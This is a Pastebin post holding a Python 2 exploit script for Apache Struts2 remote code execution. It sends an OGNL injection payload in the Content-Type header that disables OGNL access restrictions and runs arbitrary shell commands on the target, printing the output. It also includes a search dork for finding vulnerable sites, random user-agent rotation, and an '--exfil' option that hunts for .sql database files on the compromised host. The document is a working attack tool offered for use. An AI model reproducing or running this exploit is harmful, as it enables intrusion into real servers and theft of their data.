_c0mrad

Apache Struts2 RCE Exploit

Mar 30th, 2017
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.09 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. #dork : site:com filetype:action
  3.  
  4. import os
  5. import re
  6. import sys
  7. import base64
  8. import random
  9. import requests
  10. import optparse
  11.  
  12. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  13. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  14.  
  15. data00 = "ChtbOTJtCgogIF8gICAgICBfICAgICAgICAgXyAgICAgICAgICAgICAgICAgIF8gICAgICAgICBfICAgICAgICAgICAgXyAgICAgICAgICAgICBfICAgICAgCi9fL1wgICAgL1wgXCAgICAgLyAvXCAgICAgICAgICAgICAgICAvXCBcICAgICAgLyAvXCAgICAgICAgIC9cIFwgICAgICAgICAvXCBcICAgICAKXCBcIFwgICBcIFxfXCAgIC8gLyAgXCAgICAgICAgICAgICAgLyAgXCBcICAgIC8gLyAgXCAgICAgICAvICBcIFwgICAgICAgLyAgXCBcICAgIAogXCBcIFxfXy8gLyAvICAvIC8gL1wgXCAgICAgICAgICAgIC8gL1wgXCBcICAvIC8gL1wgXF9fICAgLyAvXCBcIFwgICAgIC8gL1wgXCBcICAgCiAgXCBcX18gXC9fLyAgLyAvIC9cIFwgXCAgICAgICAgICAvIC8gL1wgXF9cLyAvIC9cIFxfX19cIC8gLyAvXCBcX1wgICAvIC8gL1wgXCBcICAKICAgXC9fL1xfXy9cIC9fLyAvICBcIFwgXCAgICAgICAgLyAvXy9fIFwvXy9cIFwgXCBcL19fXy8vIC9fL18gXC9fLyAgLyAvIC8gIFwgXF9cIAogICAgXy9cL19fXCBcXCBcIFwgICBcIFwgXCAgICAgIC8gL19fX18vXCAgICBcIFwgXCAgICAgLyAvX19fXy9cICAgIC8gLyAvICAgIFwvXy8gCiAgIC8gXy9fL1wgXCBcXCBcIFwgICBcIFwgXCAgICAvIC9cX19fX1wvXyAgICBcIFwgXCAgIC8gL1xfX19fXC8gICAvIC8gLyAgICAgICAgICAKICAvIC8gLyAgIFwgXCBcXCBcIFxfX19cIFwgXCAgLyAvIC8gICAgIC9fL1xfXy8gLyAvICAvIC8gL19fX19fXyAgLyAvIC9fX19fX19fXyAgIAogLyAvIC8gICAgL18vIC8gXCBcL19fX19cIFwgXC8gLyAvICAgICAgXCBcL19fXy8gLyAgLyAvIC9fX19fX19fXC8gLyAvX19fX19fX19fXCAgCiBcL18vICAgICBcX1wvICAgXF9fX19fX19fX1wvXC9fLyAgICAgICAgXF9fX19fXC8gICBcL19fX19fX19fX18vXC9fX19fX19fX19fX18vICAKChtbMG0KG1s5MW0gICAgICAgICAgICAgICAgICAgICAgICBbQ1ZFOiAyMDE1LTU2MzggLSBBcGFjaGUgU3RydXRzIDJdChtbMG0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnk6IDB4NjQ2NDVmQGdtYWlsLmNvbQoK"
  16. data01 = "JXByb2cgLXUgVVJMIFstYyBDTURdCgpVc2FnZTogJXByb2cgLXUgJ2h0dHA6Ly92dWxuLm5ldCcKClVzYWdlOiAlcHJvZyAtdSAnaHR0cDovL3Z1bG4ubmV0JyAtYyAnaWZjb25maWcgLWEnCg=="
  17.  
  18. p = optparse.OptionParser(usage=base64.b64decode(data01))
  19. p.add_option('-u', '--url', action="store", default=None, dest="url", type="string", help="Target URL")
  20. p.add_option('-c', '--cmd', action="store", default=None, dest="cmd", type="string", help="RCE Command")
  21. p.add_option('-a', '--uaf', action="store", default=None, dest="uaf", type="string", help="Custom User-Agent File")
  22. p.add_option('--exfil',     action="store_true", default=False, dest="exf", help="(optional) Find Databases")
  23. (option, arg) = p.parse_args()
  24.  
  25. url = option.url if option.url else None
  26. cmd = option.cmd if option.cmd else 'id'
  27. uaf = option.uaf if option.uaf else 'user-agents.txt'
  28. exf = option.exf if option.exf else False
  29.  
  30. if exf:
  31.     cmd = "find / -type f -name \"*.sql\" -print"
  32.  
  33. def intro():
  34.     print("")
  35.     print(base64.b64decode(data00))
  36.  
  37. def rand_ua(ua_file):
  38.     uaf=ua_file
  39.     if os.path.isfile(uaf):
  40.         ua_list = open(uaf).read().splitlines()
  41.         return random.choice(ua_list)
  42.     else:
  43.         return "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36"
  44.  
  45. def parse_url(url):
  46.     url = url.rstrip(":")
  47.     if not re.match("^(http|https)://", url):
  48.         url = "http://" + url
  49.     else:
  50.         url = url
  51.     return url
  52.  
  53.  
  54. def exploit(url, cmd):
  55.     url = parse_url(url)
  56.          
  57.     to = 15 #timeout in seconds
  58.        
  59.     payload = "%{(#_='multipart/form-data')."
  60.     payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
  61.     payload += "(#_memberAccess?"
  62.     payload += "(#_memberAccess=#dm):"
  63.     payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
  64.     payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
  65.     payload += "(#ognlUtil.getExcludedPackageNames().clear())."
  66.     payload += "(#ognlUtil.getExcludedClasses().clear())."
  67.     payload += "(#context.setMemberAccess(#dm))))."
  68.     payload += "(#cmd='%s')." % cmd
  69.     payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
  70.     payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
  71.     payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
  72.     payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
  73.     payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
  74.     payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
  75.     payload += "(#ros.flush())}"
  76.        
  77.     headers = { 'User-Agent': rand_ua(uaf), 'Content-Type': str(payload), 'Accept': '*/*' }
  78.  
  79.     try:
  80.         ret = requests.get(url, headers=headers, verify=False, timeout=to, allow_redirects=False).text
  81.     except requests.exceptions.Timeout:
  82.         print("[x] Connection timed out\n")
  83.         sys.exit(1)
  84.     except Exception as e:
  85.         if str(e[0].reason).find("Errno 111"):
  86.             print "[!] Error: Connection Refused... Attempt Failed!\n"
  87.             sys.exit(1)
  88.         else:
  89.             print("[!] Exception: %s\n") % (str(e))
  90.             ret = "[!] Error: " + str(e) + "\n"
  91.     return ret
  92.    
  93.  
  94. if __name__ == '__main__':
  95.     if len(sys.argv) <= 1:
  96.         intro()
  97.         p.print_help()
  98.         sys.exit(1)
  99.     else:
  100.         intro()
  101.         print("[*] Attempting to run `%s` on %s\n") % (cmd, url)
  102.         output = exploit(url, cmd)
  103.         print("[*] Returned data\n")
  104.         print(output)
Add Comment
Please, Sign In to add comment